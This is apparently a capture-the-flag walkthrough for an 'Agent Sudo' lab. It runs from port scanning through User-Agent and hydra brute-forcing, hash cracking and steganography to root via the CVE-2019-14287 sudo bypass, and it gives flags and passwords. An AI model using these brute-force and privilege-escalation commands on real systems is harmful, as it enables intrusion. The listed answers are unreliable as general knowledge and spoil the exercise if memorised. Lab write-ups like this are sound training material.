# Agent Sudo CTF Walkthrough

### Enumeration

```bash
nmap -sV -sT -A -p- 10.10.255.113
```

Result:

```plaintext
# Nmap 7.93 scan initiated Tue Sep 16 16:26:27 2025 as: nmap -sV -sT -A -p- -oN enum.txt 10.10.255.113
Nmap scan report for ip-10-10-255-113.eu-west-1.compute.internal (10.10.255.113)
Host is up (0.00071s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ef1f5d04d47795066072ecf058f2cc07 (RSA)
|   256 5e02d19ac4e7430662c19e25848ae7ea (ECDSA)
|_  256 2d005cb9fda8c8d880e3924f8b4f18e2 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Annoucement
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 02:65:15:29:9B:71 (Unknown)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.10 - 3.13
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.71 ms ip-10-10-255-113.eu-west-1.compute.internal (10.10.255.113)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Sep 16 16:26:41 2025 -- 1 IP address (1 host up) scanned in 14.75 seconds
```

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">1. How many open ports? <code>3</code></div>
</div>

After opening the IP on the browser:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1758040230552/fc771166-68d9-4348-ac74-c4b7f3e62f0b.png align="left")

From this message we can expect that we may use `user-agent` on header with the http request to find the Agent name (which is the 3rd flag)

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">2. How you redirect yourself to a secret page? <code>user-agent</code></div>
</div>

Using Burp Suite:

Intercept the request

* ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1758040716864/02652ccc-eaa4-4c04-b9d5-202529900365.png align="center")
    
    Send it to Intruder and modify `User-Agent` by adding var
    
* Go to payloads then choose Brute forcer in payload type (take care of payload options as the img below then start attack
    
* ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1758041235920/36ea7a22-f732-4c14-8ca7-fb465d381d5e.png align="center")
    
    We will find that when the User-Agent is `C` it redirects to `agent_C_attention.php`
    
* ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1758041403640/411b8846-a643-483a-a7d7-7a6cbf7c0a12.png align="center")
    
    After going to that page we can find the agent name
    
* ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1758041571350/b4d0ace3-1acc-4e44-bcb5-66634fe57dd8.png align="center")
    

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">3. What is the agent name? <code>chris</code></div>
</div>

### Hash cracking and brute-force

Using hydra

```bash
hydra -l chris -P /usr/share/wordlists/rockyou.txt ftp://10.10.255.113
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1758041996017/f7405fd0-87fd-4655-8310-e96f615723e8.png align="center")

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">1. FTP password <code>crystal</code></div>
</div>

Login using ftp

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1758042124002/7063c2d0-bb72-4623-bfe0-25dc33cc1eed.png align="center")

Get those 3 files

Open the text file:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1758042254306/53a155ce-c10d-4ae3-ba16-0963bdac8cc0.png align="left")

Using something like `foremost` or `steghide`

```bash
foremost cutie.png
```

We will find zip file

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1758042525993/3990e1c1-9bc2-4fca-add4-1e3f500494ce.png align="left")

use `zip2john` to extract the hash

```bash
zip2john 00000067.zip > zip.hash
```

Then use `John` to crack the hash

```bash
john zip.hash
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1758042948657/69d90fbe-7291-4411-9b6b-b1f53d4f647a.png align="center")

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">2. Zip file password <code>alien</code></div>
</div>

After extracting the data in zip file we find text called `To_agentJ.txt`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1758043213876/d604e9de-c124-4c1b-92b7-d0a44df94515.png align="left")

It looks like `QXJlYTUx` encoded then we will try to decode it using base64

```bash
echo QXJlYTUx | base64 -d
```

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">3. steg password <code>Area51</code></div>
</div>

Using steghide to extract data hidden in `cute-alien.jpg`

```bash
steghide extract -sf cute-alien.jpg
```

Then we will find `message.txt`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1758043453410/55ef5815-a86b-42dd-92c3-c539056bc816.png align="center")

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">4. Who is the other agent (in full name)? <code>james</code></div>
</div>

Now lets try using ssh with username `james` and password `hackerrules!`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1758043695795/d7f61cab-0d4f-4772-b4be-a8091c8e3bbc.png align="center")

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">5. SSH password <code>hackerrules!</code></div>
</div>

### Capture the user flag

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1758052256001/40787803-b5ab-4286-8af0-d3dd72e37eee.png align="left")

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">1. What is the user flag? <code>b03d975e8c92a7c04146cfa7a5a313c7</code></div>
</div>

Exit ssh hen get the jpg file by the following command into your machine

```bash
sudo scp james@10.10.169.59:Alien_autospy.jpg ~/
```

This part for me not realistic as you should search with the image on google and find the answer which will be somehow `Roswell alien autopsy`

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">2. What is the incident of the photo called? <code>Roswell alien autopsy</code></div>
</div>

### Privilege escalation

Using following command to see sudo privileges that james have

```bash
sudo -l
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1758053140429/6cdb11f6-2c4c-4fd4-b20f-faa129db05ac.png align="center")

Quick Search for this sudo permission `bash` got me the cve

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">1. CVE number for the&nbsp;escalation&nbsp;<code>CVE-2019-14287</code></div>
</div>

Run the following command

```bash
sudo -u#-1 /bin/bash
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1758053507691/61862f72-1a8e-40e7-a9a3-ebec154588ac.png align="left")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1758053640492/8ba3ce4e-4662-4aba-ba01-4f552b7faff3.png align="center")

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">2. b53a02f55b57d4439e3341834d70c062</div>
</div>

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">3. DesKel</div>
</div>